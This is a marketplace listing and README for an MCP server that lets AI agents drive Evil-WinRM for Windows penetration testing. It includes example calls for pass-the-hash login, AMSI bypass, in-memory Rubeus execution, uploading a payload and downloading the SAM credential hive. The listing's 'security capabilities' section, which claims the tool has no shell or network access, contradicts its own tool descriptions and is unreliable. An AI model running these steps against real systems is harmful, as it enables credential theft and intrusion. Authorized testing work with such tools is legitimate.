# Sec Evil Winrm Mcp

> MCP server for Evil-WinRM - WinRM shell for Windows penetration testing

- **Type:** MCP server
- **Install:** `agentstack add mcp-schwarztim-sec-evil-winrm-mcp`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [schwarztim](https://agentstack.voostack.com/s/schwarztim)
- **Installs:** 0
- **Category:** [Integrations](https://agentstack.voostack.com/c/integrations)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [schwarztim](https://github.com/schwarztim)
- **Source:** https://github.com/schwarztim/sec-evil-winrm-mcp

## Install

```sh
agentstack add mcp-schwarztim-sec-evil-winrm-mcp
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Evil-WinRM MCP Server

An MCP (Model Context Protocol) server that provides AI assistants with the ability to execute Evil-WinRM commands against Windows targets via SSH to a Kali Linux host.

## Overview

[Evil-WinRM](https://github.com/Hackplayers/evil-winrm) is the ultimate WinRM shell for penetration testing. This MCP server wraps Evil-WinRM to enable AI-assisted Windows post-exploitation and lateral movement tasks.

### Key Features

- **Multiple Authentication Methods** - Password, NTLM hash (Pass-the-Hash), and Kerberos
- **PowerShell Execution** - Run arbitrary PowerShell commands on targets
- **File Transfer** - Upload and download files to/from Windows systems
- **In-Memory Execution** - Load .NET assemblies and DLLs without touching disk
- **AMSI Bypass** - Built-in Bypass-4MSI functionality
- **Service Enumeration** - List services with permission analysis

## Architecture

```
AI Assistant  MCP Server  SSH  Kali Linux  Evil-WinRM  Windows Target
```

The MCP server runs locally and executes Evil-WinRM commands on a remote Kali Linux host via SSH, which then connects to Windows targets over WinRM (ports 5985/5986).

## Prerequisites

- **Node.js** 18.x or higher
- **Kali Linux** with Evil-WinRM installed (`gem install evil-winrm`)
- **SSH Access** from the MCP server host to Kali Linux
- **Network Access** from Kali to Windows targets (WinRM ports 5985/5986)

## Installation

```bash
# Clone the repository
git clone https://github.com/schwarztim/sec-evil-winrm-mcp.git
cd sec-evil-winrm-mcp

# Install dependencies
npm install

# Build
npm run build
```

## Configuration

### Environment Variables

| Variable | Description | Default |
|----------|-------------|---------|
| `KALI_HOST` | Kali Linux hostname or IP address | `kali` |
| `KALI_USER` | SSH username for Kali | `kali` |
| `SSH_KEY` | Path to SSH private key (optional) | - |
| `EVILWINRM_DEFAULT_PORT` | Default WinRM port | `5985` |

### Claude Desktop Configuration

Add to your Claude Desktop config (`~/.config/Claude/claude_desktop_config.json`):

```json
{
  "mcpServers": {
    "evil-winrm": {
      "command": "node",
      "args": ["/path/to/sec-evil-winrm-mcp/dist/index.js"],
      "env": {
        "KALI_HOST": "your-kali-host",
        "KALI_USER": "kali",
        "SSH_KEY": "/path/to/ssh/key"
      }
    }
  }
}
```

## Available Tools

### Session Management

| Tool | Description |
|------|-------------|
| `evilwinrm_connect` | Configure connection parameters (host, user, password/hash, SSL, Kerberos) |
| `evilwinrm_get_session` | View current session configuration |
| `evilwinrm_clear_session` | Clear session parameters |
| `evilwinrm_test_connection` | Test SSH connectivity to Kali and verify Evil-WinRM installation |

### Command Execution

| Tool | Description |
|------|-------------|
| `evilwinrm_exec` | Execute PowerShell commands on the target |
| `evilwinrm_services` | List Windows services and analyze permissions |

### File Transfer

| Tool | Description |
|------|-------------|
| `evilwinrm_upload` | Upload files from Kali to target |
| `evilwinrm_download` | Download files from target to Kali |

### Advanced Features

| Tool | Description |
|------|-------------|
| `evilwinrm_menu` | Show available Evil-WinRM built-in functions |
| `evilwinrm_dll_loader` | Load DLLs via SMB, local path, or HTTP |
| `evilwinrm_invoke_binary` | Execute .NET assemblies in memory |
| `evilwinrm_bypass_amsi` | Patch AMSI (Antimalware Scan Interface) protections |

## Usage Examples

### Basic Connection with Password

```
1. evilwinrm_connect(host="192.168.1.100", user="administrator", password="P@ssw0rd")
2. evilwinrm_exec(command="whoami /all")
3. evilwinrm_exec(command="Get-Process | Select-Object -First 10")
```

### Pass-the-Hash Attack

```
1. evilwinrm_connect(
     host="192.168.1.100",
     user="administrator",
     hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
   )
2. evilwinrm_exec(command="hostname")
```

### SSL/HTTPS Connection (Port 5986)

```
1. evilwinrm_connect(
     host="192.168.1.100",
     user="admin",
     password="secret",
     port="5986",
     ssl=true
   )
```

### Kerberos Authentication

```
1. evilwinrm_connect(
     host="dc01.corp.local",
     user="admin",
     password="P@ssw0rd",
     realm="CORP.LOCAL"
   )
```

### File Operations

```
# Upload a file
evilwinrm_upload(local_path="/tmp/payload.exe", remote_path="C:\\Windows\\Temp\\payload.exe")

# Download a file
evilwinrm_download(remote_path="C:\\Windows\\System32\\config\\SAM", local_path="/tmp/SAM")
```

### In-Memory Execution

```
# First, configure with executables path
evilwinrm_connect(
  host="192.168.1.100",
  user="admin",
  password="secret",
  execs_path="/opt/tools/dotnet"
)

# Execute .NET assembly in memory
evilwinrm_invoke_binary(binary_name="Rubeus.exe", arguments="triage")
```

## Security Notice

**This tool is intended for authorized security testing and research only.**

- Always obtain proper written authorization before testing
- Only use against systems you own or have explicit permission to test
- Follow responsible disclosure practices
- Comply with all applicable laws and regulations

Unauthorized access to computer systems is illegal. The authors are not responsible for misuse of this tool.

## References

- [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)
- [Kali Linux Tools - Evil-WinRM](https://www.kali.org/tools/evil-winrm/)
- [Model Context Protocol](https://modelcontextprotocol.io/)
- [WinRM Documentation](https://docs.microsoft.com/en-us/windows/win32/winrm/portal)

## License

MIT License - see [LICENSE](LICENSE) for details.

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [schwarztim](https://github.com/schwarztim)
- **Source:** [schwarztim/sec-evil-winrm-mcp](https://github.com/schwarztim/sec-evil-winrm-mcp)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/mcp-schwarztim-sec-evil-winrm-mcp
- Seller: https://agentstack.voostack.com/s/schwarztim
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
